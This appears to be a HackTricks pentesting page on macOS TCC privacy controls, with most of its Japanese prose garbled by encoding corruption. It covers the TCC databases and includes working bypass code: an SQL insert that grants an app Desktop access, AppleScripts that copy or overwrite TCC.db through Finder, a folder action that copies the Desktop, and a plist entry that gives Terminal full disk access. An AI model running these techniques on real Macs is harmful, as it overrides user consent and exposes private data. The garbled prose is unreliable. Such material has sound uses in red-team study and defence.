macOS TCC
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
TCC (éææ§ãåæãå¶åŸ¡) ã¯ãã¢ããªã±ãŒã·ã§ã³ã®æš©éãèŠå¶ããããšã«çŠç¹ãåœãŠãã»ãã¥ãªãã£ãããã³ã«ã§ãããã®äž»ãªåœ¹å²ã¯ãäœçœ®æ å ±ãµãŒãã¹ãé£çµ¡å ãåçããã€ã¯ãã«ã¡ã©ãã¢ã¯ã»ã·ããªãã£ããã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ãªã©ã®æ©å¯æ©èœãä¿è·ããããšã§ããTCCã¯ããããã®èŠçŽ ãžã®ã¢ããªã¢ã¯ã»ã¹ãèš±å¯ããåã«æç€ºçãªãŠãŒã¶ãŒã®åæã矩åä»ããããšã§ããã©ã€ãã·ãŒãšãŠãŒã¶ãŒã®ããŒã¿ã«å¯Ÿããå¶åŸ¡ã匷åããŸãã
ãŠãŒã¶ãŒã¯ãã¢ããªã±ãŒã·ã§ã³ãä¿è·ãããæ©èœãžã®ã¢ã¯ã»ã¹ãèŠæ±ããéã«TCCã«ééããŸããããã¯ããŠãŒã¶ãŒãã¢ã¯ã»ã¹ãæ¿èªãŸãã¯æåŠã§ããããã³ãããéããŠè¡šç€ºãããŸããããã«ãTCCã¯ãç¹å®ã®ãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹ãèš±å¯ããããã«ãã¢ããªã±ãŒã·ã§ã³ã«ãã¡ã€ã«ããã©ãã°ã¢ã³ããããããããªã©ã®çŽæ¥çãªãŠãŒã¶ãŒã¢ã¯ã·ã§ã³ãåãå ¥ããã¢ããªã±ãŒã·ã§ã³ãæç€ºçã«èš±å¯ããããã®ã«ã®ã¿ã¢ã¯ã»ã¹ã§ããããã«ããŸãã

TCCã¯ã/System/Library/PrivateFrameworks/TCC.framework/Support/tccdã«ããããŒã¢ã³ã«ãã£ãŠåŠçããã/System/Library/LaunchDaemons/com.apple.tccd.system.plistã§æ§æãããŠããŸãïŒmachãµãŒãã¹com.apple.tccd.systemãç»é²ïŒã
ãã°ã€ã³ããŠããåãŠãŒã¶ãŒããšã«å®è¡ããããŠãŒã¶ãŒã¢ãŒãã®tccdãããã/System/Library/LaunchAgents/com.apple.tccd.plistã§å®çŸ©ãããmachãµãŒãã¹com.apple.tccdãšcom.apple.usernotifications.delegate.com.apple.tccdãç»é²ããŠããŸãã
ããã§ã¯ãtccdãã·ã¹ãã ãšããŠããã³ãŠãŒã¶ãŒãšããŠå®è¡ãããŠããæ§åãèŠãããšãã§ããŸã:
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
Permissions are 芪ã¢ããªã±ãŒã·ã§ã³ããç¶æ¿ãããæš©éã¯ãã³ãã«IDãšéçºè IDã«åºã¥ããŠè¿œè·¡ãããŸãã
TCC ããŒã¿ããŒã¹
èš±å¯/æåŠã¯ãããã€ãã® TCC ããŒã¿ããŒã¹ã«ä¿åãããŸãïŒ
- ã·ã¹ãã å
šäœã®ããŒã¿ããŒã¹ã¯
/Library/Application Support/com.apple.TCC/TCC.dbã«ãããŸãã - ãã®ããŒã¿ããŒã¹ã¯SIPä¿è·ãããŠãããããSIPãã€ãã¹ã®ã¿ãæžã蟌ãããšãã§ããŸãã
- ãŠãŒã¶ãŒ TCC ããŒã¿ããŒã¹
$HOME/Library/Application Support/com.apple.TCC/TCC.dbã¯ããŠãŒã¶ãŒããšã®èšå®çšã§ãã - ãã®ããŒã¿ããŒã¹ã¯ä¿è·ãããŠããããããã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ã®ãããªé«ã TCC æš©éãæã€ããã»ã¹ã®ã¿ãæžã蟌ãããšãã§ããŸãïŒãã ããSIP ã«ãã£ãŠä¿è·ãããŠããããã§ã¯ãããŸããïŒã
Warning
åè¿°ã®ããŒã¿ããŒã¹ã¯ãèªã¿åãã¢ã¯ã»ã¹ã®ããã« TCC ä¿è·ãããŠããŸãããããã£ãŠãTCC æš©éã®ããããã»ã¹ããã§ãªãéããéåžžã®ãŠãŒã¶ãŒ TCC ããŒã¿ããŒã¹ãèªã¿åãããšã¯ã§ããŸããã
ãã ãããããã®é«ãæš©éãæã€ããã»ã¹ïŒFDA ãŸãã¯
kTCCServiceEndpointSecurityClientãªã©ïŒã¯ããŠãŒã¶ãŒã® TCC ããŒã¿ããŒã¹ã«æžã蟌ãããšãã§ããŸãã
/var/db/locationd/clients.plistã«ç¬¬äžã® TCC ããŒã¿ããŒã¹ããããäœçœ®æ å ±ãµãŒãã¹ã«ã¢ã¯ã»ã¹ãèš±å¯ãããã¯ã©ã€ã¢ã³ãã瀺ããŸãã- SIP ä¿è·ããããã¡ã€ã«
/Users/carlospolop/Downloads/REG.dbïŒTCC ã«ããèªã¿åãã¢ã¯ã»ã¹ãããä¿è·ãããŠããŸãïŒã¯ããã¹ãŠã®æå¹ãª TCC ããŒã¿ããŒã¹ã®äœçœ®ãå«ãã§ããŸãã - SIP ä¿è·ããããã¡ã€ã«
/Users/carlospolop/Downloads/MDMOverrides.plistïŒTCC ã«ããèªã¿åãã¢ã¯ã»ã¹ãããä¿è·ãããŠããŸãïŒã¯ãããã«å€ãã® TCC èš±å¯ãããæš©éãå«ãã§ããŸãã - SIP ä¿è·ããããã¡ã€ã«
/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plistïŒèª°ã§ãèªã¿åããïŒã¯ãTCC äŸå€ãå¿ èŠãšããã¢ããªã±ãŒã·ã§ã³ã®èš±å¯ãªã¹ãã§ãã
Tip
iOS ã® TCC ããŒã¿ããŒã¹ã¯
/private/var/mobile/Library/TCC/TCC.dbã«ãããŸãã
Tip
éç¥ã»ã³ã¿ãŒ UI ã¯ãã·ã¹ãã TCC ããŒã¿ããŒã¹ã«å€æŽãå ããããšãã§ããŸãïŒ
codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd [..] com.apple.private.tcc.manager com.apple.rootless.storage.TCCãã ãããŠãŒã¶ãŒã¯
tccutilã³ãã³ãã©ã€ã³ãŠãŒãã£ãªãã£ã䜿çšããŠã«ãŒã«ãåé€ãŸãã¯ç §äŒã§ããŸãã
ããŒã¿ããŒã¹ã®ç §äŒ
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
Tip
äž¡æ¹ã®ããŒã¿ããŒã¹ã確èªããããšã§ãã¢ããªãèš±å¯ãããçŠæ¢ããããŸãã¯æã£ãŠããªãæš©éã確èªã§ããŸãïŒèŠæ±ãããŸãïŒã
service㯠TCC æš©é ã®æåå衚çŸã§ãclient㯠ãã³ãã« ID ãŸãã¯æš©éãæã€ ãã€ããªãžã®ãã¹ ã§ãclient_typeã¯ãããããã³ãã«èå¥å(0)ã絶察ãã¹(1)ãã瀺ããŸã
絶察ãã¹ã®å Žåã®å®è¡æ¹æ³
launctl load you_bin.plist ãå®è¡ããã ãã§ããplistã¯æ¬¡ã®ããã«ãªããŸã:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>
<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>
<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>
<!-- Run at load -->
<key>RunAtLoad</key>
<true/>
<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>
<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
auth_valueã¯ç°ãªãå€ãæã€ããšãã§ããŸã: denied(0), unknown(1), allowed(2), ãŸã㯠limited(3)ãauth_reasonã¯æ¬¡ã®å€ãåãããšãã§ããŸã: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)- csreq ãã£ãŒã«ãã¯ãå®è¡ãããã€ããªãæ€èšŒããTCC æš©éãä»äžããæ¹æ³ã瀺ãããã«ãããŸã:
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin
# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
- ãã®ä»ã®ãã£ãŒã«ãã«é¢ãã詳现ã¯ããã®ããã°èšäºã確èªããŠãã ãã ã
System Preferences --> Security & Privacy --> Privacy --> Files and Folders ã§ã¢ããªã«æ¢ã«äžããããæš©éã確èªããããšãã§ããŸãã
Tip
ãŠãŒã¶ãŒã¯**
tccutilã䜿çšããŠã«ãŒã«ãåé€ãŸãã¯ã¯ãšãª**ããããšãã§ããŸãã
TCCæš©éã®ãªã»ãã
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
TCC ã·ã°ããã£ãŒãã§ãã¯
TCC ããŒã¿ããŒã¹ã¯ã¢ããªã±ãŒã·ã§ã³ã®ãã³ãã«IDãä¿åããŸãããã·ã°ããã£ãŒã«é¢ããæ å ±ãä¿åããŠãããæš©éã䜿çšããããã«èŠæ±ããŠããã¢ããªãæ£ãããã®ã§ããããšã確èªããŸãã
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Warning
ãããã£ãŠãåãååãšãã³ãã«IDãæã€ä»ã®ã¢ããªã±ãŒã·ã§ã³ã¯ãä»ã®ã¢ããªã«äžããããæš©éã«ã¢ã¯ã»ã¹ã§ããŸããã
æš©éãšTCCã®èš±å¯
ã¢ããªã¯ãªã¯ãšã¹ããè¡ããããã€ãã®ãªãœãŒã¹ãžã®ã¢ã¯ã»ã¹ãèš±å¯ãããã ãã§ãªããé¢é£ããæš©éãæã£ãŠããå¿
èŠããããŸãã
äŸãã°ãTelegramã¯ã«ã¡ã©ãžã®ã¢ã¯ã»ã¹ããªã¯ãšã¹ãããããã«com.apple.security.device.cameraãšããæš©éãæã£ãŠããŸãããã®æš©éãæããªãã¢ããªã¯ã«ã¡ã©ã«ã¢ã¯ã»ã¹ã§ããŸããïŒãŠãŒã¶ãŒã«æš©éãæ±ããããšãããããŸããïŒã
ãã ããã¢ããªã~/Desktopã~/Downloadsã~/Documentsãªã©ã®ç¹å®ã®ãŠãŒã¶ãŒãã©ã«ãã«ã¢ã¯ã»ã¹ããããã«ã¯ãç¹å®ã®æš©éãæã€å¿
èŠã¯ãããŸãããã·ã¹ãã ã¯ã¢ã¯ã»ã¹ãééçã«åŠçããå¿
èŠã«å¿ããŠãŠãŒã¶ãŒã«ããã³ããã衚瀺ããŸãã
Appleã®ã¢ããªã¯ããã³ãããçæããŸããããããã¯æš©éãªã¹ãã«äºåã«ä»äžãããæš©å©ãå«ãã§ãããã€ãŸããããã¢ãããçæããããšã¯æ±ºããŠãªããTCCããŒã¿ããŒã¹ã«ã衚瀺ãããŸãããäŸãã°ïŒ
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>
ããã«ãããã«ã¬ã³ããŒããŠãŒã¶ãŒã«ãªãã€ã³ããŒãã«ã¬ã³ããŒãã¢ãã¬ã¹ããã¯ãžã®ã¢ã¯ã»ã¹ãæ±ããããšãé¿ããããšãã§ããŸãã
Tip
æš©éã«é¢ããå ¬åŒææžã®ä»ã«ãéå ¬åŒã®è峿·±ãæ å ±ã https://newosxbook.com/ent.jl ã§èŠã€ããããšãå¯èœã§ãã
ããã€ãã®TCCæš©éã¯ãkTCCServiceAppleEventsãkTCCServiceCalendarãkTCCServicePhotosãªã©ã§ãããã¹ãŠãå®çŸ©ããå ¬éãªã¹ãã¯ãããŸãããããã®æ¢ç¥ã®ãªã¹ãã確èªã§ããŸãã
ææãªä¿è·ãããŠããªãå Žæ
- $HOME (èªäœ)
- $HOME/.ssh, $HOME/.aws, ãªã©
- /tmp
ãŠãŒã¶ãŒã®æå³ / com.apple.macl
åè¿°ã®ããã«ããã¡ã€ã«ã«ã¢ããªãžã®ã¢ã¯ã»ã¹ãä»äžããããã«ãã©ãã°ïŒããããããããšãå¯èœã§ãããã®ã¢ã¯ã»ã¹ã¯ããããªãTCCããŒã¿ããŒã¹ã«ãæå®ãããŸãããããã¡ã€ã«ã®æ¡åŒµå±æ§ãšããŠä¿åãããŸãããã®å±æ§ã¯ãèš±å¯ãããã¢ããªã®UUIDãä¿åããŸãã
xattr Desktop/private.txt
com.apple.macl
# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
Tip
com.apple.macl屿§ã¯ Sandbox ã«ãã£ãŠç®¡çãããŠãããtccd ã§ã¯ãããŸããããŸããã³ã³ãã¥ãŒã¿å ã®ã¢ããªã® UUID ãèš±å¯ãããã¡ã€ã«ãå¥ã®ã³ã³ãã¥ãŒã¿ã«ç§»åãããšãåãã¢ããªãç°ãªã UID ãæã€ããããã®ã¢ããªãžã®ã¢ã¯ã»ã¹ã¯èš±å¯ãããŸããã
æ¡åŒµå±æ§ com.apple.macl ã¯ä»ã®æ¡åŒµå±æ§ã®ããã«ã¯ãªã¢ã§ããŸããããªããªããSIP ã«ãã£ãŠä¿è·ãããŠããããã§ãããããããã®æçš¿ã§èª¬æãããŠããããã«ããã¡ã€ã«ã å§çž® ããåé€ ããè§£å ããããšã§ç¡å¹ã«ããããšãå¯èœã§ãã
TCC Privesc & Bypasses
TCC ãžã®æ¿å ¥
ãããããæç¹ã§ TCC ããŒã¿ããŒã¹ã«å¯ŸããŠæžã蟌ã¿ã¢ã¯ã»ã¹ãååŸã§ããå Žåã以äžã®ãããªãã®ã䜿çšããŠãšã³ããªã远å ã§ããŸãïŒã³ã¡ã³ããåé€ããŠãã ããïŒïŒ
TCC ãžã®æ¿å ¥äŸ
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```TCCãã€ããŒã
TCCæš©éãæã€ã¢ããªã«äŸµå ¥ã§ããå Žåã¯ã以äžã®ããŒãžã確èªããŠTCCãã€ããŒããæªçšããŠãã ããïŒ
Apple Events
Apple Eventsã«ã€ããŠåŠã¶ïŒ
Automation (Finder) to FDA*
Automationæš©éã®TCCåã¯ïŒkTCCServiceAppleEvents
ãã®ç¹å®ã®TCCæš©éã¯ãTCCããŒã¿ããŒã¹å
ã§ç®¡çã§ããã¢ããªã±ãŒã·ã§ã³ã瀺ããŠããŸãïŒãããã£ãŠãæš©éã¯ãã¹ãŠã管çããããšãèš±å¯ããããã§ã¯ãããŸããïŒã
Finderã¯ãåžžã«FDAãæã€ã¢ããªã±ãŒã·ã§ã³ã§ãïŒUIã«è¡šç€ºãããªããŠãïŒããããã£ãŠãAutomationæš©éãæã£ãŠããå Žåããã®æš©éãæªçšããŠããã€ãã®ã¢ã¯ã·ã§ã³ãå®è¡ãããããšãã§ããŸãã
ãã®å Žåãããªãã®ã¢ããªã¯**com.apple.Finderã«å¯ŸããŠkTCCServiceAppleEvents**ã®æš©éãå¿
èŠã§ãã
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD
ãããæªçšããŠç¬èªã®ãŠãŒã¶ãŒTCCããŒã¿ããŒã¹ãäœæããããšãã§ããŸãã
Warning
ãã®æš©éãæã€ããšã§ãFinderã«TCCå¶éãã©ã«ããŒãžã®ã¢ã¯ã»ã¹ãèŠæ±ãããã¡ã€ã«ãååŸããããšãã§ããŸãããç§ã®ç¥ãéããFinderã«ä»»æã®ã³ãŒããå®è¡ãããããšã¯ã§ããŸããããã®ãããå®å šã«FDAã¢ã¯ã»ã¹ãæªçšããããšã¯ã§ããŸããã
ãããã£ãŠãå®å šãªFDAæ©èœãæªçšããããšã¯ã§ããŸããã
ããã¯Finderã«å¯Ÿããèªååæš©éãååŸããããã®TCCããã³ããã§ãïŒ
.png)
Caution
Automatorã¢ããªãTCCæš©é**
kTCCServiceAppleEventsãæã£ãŠãããããä»»æã®ã¢ããªãå¶åŸ¡ããããšãã§ããŸãããããã£ãŠãAutomatorãå¶åŸ¡ããæš©éãæã£ãŠããã°ã以äžã®ãããªã³ãŒãã§Finder**ãå¶åŸ¡ã§ããŸãïŒ
Automatorå ã§ã·ã§ã«ãååŸãã
```applescript osascript<tell application âAutomatorâ set actionID to Automator action id âcom.apple.RunShellScriptâ tell (make new workflow) add actionID to it tell last Automator action set value of setting âinputMethodâ to 1 set value of setting âCOMMAND_STRINGâ to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
åæ§ã®ããšã**Script Editorã¢ããª**ã«ãåœãŠã¯ãŸããŸããFinderãå¶åŸ¡ã§ããŸãããAppleScriptã䜿çšããŠã¹ã¯ãªããã匷å¶çã«å®è¡ãããããšã¯ã§ããŸããã
### Automation (SE) to some TCC
**System Eventsã¯ãã©ã«ããŒã¢ã¯ã·ã§ã³ãäœæã§ãããã©ã«ããŒã¢ã¯ã·ã§ã³ã¯äžéšã®TCCãã©ã«ããŒ**ïŒãã¹ã¯ããããããã¥ã¡ã³ããããŠã³ããŒãïŒã«ã¢ã¯ã»ã¹ã§ããŸãããããã£ãŠã次ã®ãããªã¹ã¯ãªããã䜿çšããŠãã®åäœãæªçšããããšãã§ããŸãïŒ
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*
System Eventsäžã®Automation + Accessibility (kTCCServicePostEvent) ã¯ãããã»ã¹ã«ããŒã¹ãããŒã¯ãéä¿¡ããããšãå¯èœã«ããŸãããã®æ¹æ³ã§ãFinderãæªçšããŠãŠãŒã¶ãŒã®TCC.dbã倿Žããããä»»æã®ã¢ããªã«FDAãä»äžãããããããšãã§ããŸãïŒãã ãããã®ããã«ãã¹ã¯ãŒãã®å
¥åãæ±ããããå ŽåããããŸãïŒã
FinderããŠãŒã¶ãŒã®TCC.dbãäžæžãããäŸ:
-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate
-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1
-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1
-- Resolve $HOME environment variable
set homePath to system attribute "HOME"
-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1
-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1
-- Paste the file
keystroke "v" using {command down}
end tell
EOF
kTCCServiceAccessibility to FDA*
ãã®ããŒãžã§ãã¢ã¯ã»ã·ããªãã£æš©éãæªçšããããã®ãã€ããŒãã確èªããŠãã ããïŒmacos-tcc-payloads.md#accessibilityïŒFDA*ã«ææ ŒããããäŸãã°ããŒãã¬ãŒãå®è¡ããããã«ã
ãšã³ããã€ã³ãã»ãã¥ãªãã£ã¯ã©ã€ã¢ã³ãããFDAãž
**kTCCServiceEndpointSecurityClient**ãæã£ãŠããã°ãFDAããããŸããçµäºã
ã·ã¹ãã ããªã·ãŒSysAdminãã¡ã€ã«ããFDAãž
kTCCServiceSystemPolicySysAdminFilesã¯ããŠãŒã¶ãŒã®NFSHomeDirectory屿§ã倿Žããããšãèš±å¯ããããã«ããããŒã ãã©ã«ãã倿ŽããTCCããã€ãã¹ããããšãã§ããŸãã
ãŠãŒã¶ãŒTCC DBããFDAãž
ãŠãŒã¶ãŒTCCããŒã¿ããŒã¹ã«å¯ŸããæžãèŸŒã¿æš©éãååŸããŠãã**FDA**æš©éãèªåã«ä»äžããããšã¯ã§ããŸãããã·ã¹ãã ããŒã¿ããŒã¹ã«ååšããè
ã ãããããä»äžã§ããŸãã
ãããã**Finderãžã®èªååæš©é**ãèªåã«äžããåè¿°ã®æè¡ãæªçšããŠFDA*ã«ææ Œããããšã¯ã§ããŸãã
FDAããTCCæš©éãž
ãã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ã®TCCåã¯**kTCCServiceSystemPolicyAllFiles**ã§ãã
ããã¯å®éã®ææ Œã§ã¯ãªããšæããŸããããã圹ç«ã€å Žåã«åããŠïŒFDAãå¶åŸ¡ããããã°ã©ã ãæã£ãŠããå ŽåããŠãŒã¶ãŒã®TCCããŒã¿ããŒã¹ã倿ŽããŠèªåã«ä»»æã®ã¢ã¯ã»ã¹ãäžããããšãã§ããŸããããã¯ãFDAæš©éã倱ãå¯èœæ§ãããå Žåã®æç¶æè¡ãšããŠåœ¹ç«ã€ãããããŸããã
SIPãã€ãã¹ããTCCãã€ãã¹ãž
ã·ã¹ãã ã®TCCããŒã¿ããŒã¹ã¯SIPã«ãã£ãŠä¿è·ãããŠãããããæå®ãããæš©å©ãæã€ããã»ã¹ã®ã¿ãããã倿Žã§ããã®ã§ãããããã£ãŠãæ»æè ããã¡ã€ã«ã«å¯ŸããSIPãã€ãã¹ãèŠã€ããå ŽåïŒSIPã«ãã£ãŠå¶éããããã¡ã€ã«ã倿Žã§ããå ŽåïŒã圌ã¯ä»¥äžã®ããšãã§ããŸãïŒ
- TCCããŒã¿ããŒã¹ã®ä¿è·ãåé€ããèªåã«ãã¹ãŠã®TCCæš©éãäžããããšãã§ããŸããäŸãã°ããããã®ãã¡ã€ã«ã®ãããããæªçšããããšãã§ããŸãïŒ
- TCCã·ã¹ãã ããŒã¿ããŒã¹
- REG.db
- MDMOverrides.plist
ãã ããTCCããã€ãã¹ããããã®SIPãã€ãã¹ãæªçšããå¥ã®ãªãã·ã§ã³ããããŸãããã¡ã€ã«/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plistã¯ãTCCäŸå€ãå¿
èŠãšããã¢ããªã±ãŒã·ã§ã³ã®èš±å¯ãªã¹ãã§ãããããã£ãŠãæ»æè
ããã®ãã¡ã€ã«ããSIPä¿è·ãåé€ããèªåã®ã¢ããªã±ãŒã·ã§ã³ã远å ã§ããã°ããã®ã¢ããªã±ãŒã·ã§ã³ã¯TCCããã€ãã¹ã§ããããã«ãªããŸãã
äŸãã°ãã¿ãŒããã«ã远å ããããã«ïŒ
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier "com.apple.Terminal" and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>
TCC ãã€ãã¹
åèæç®
- https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
- https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
- https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
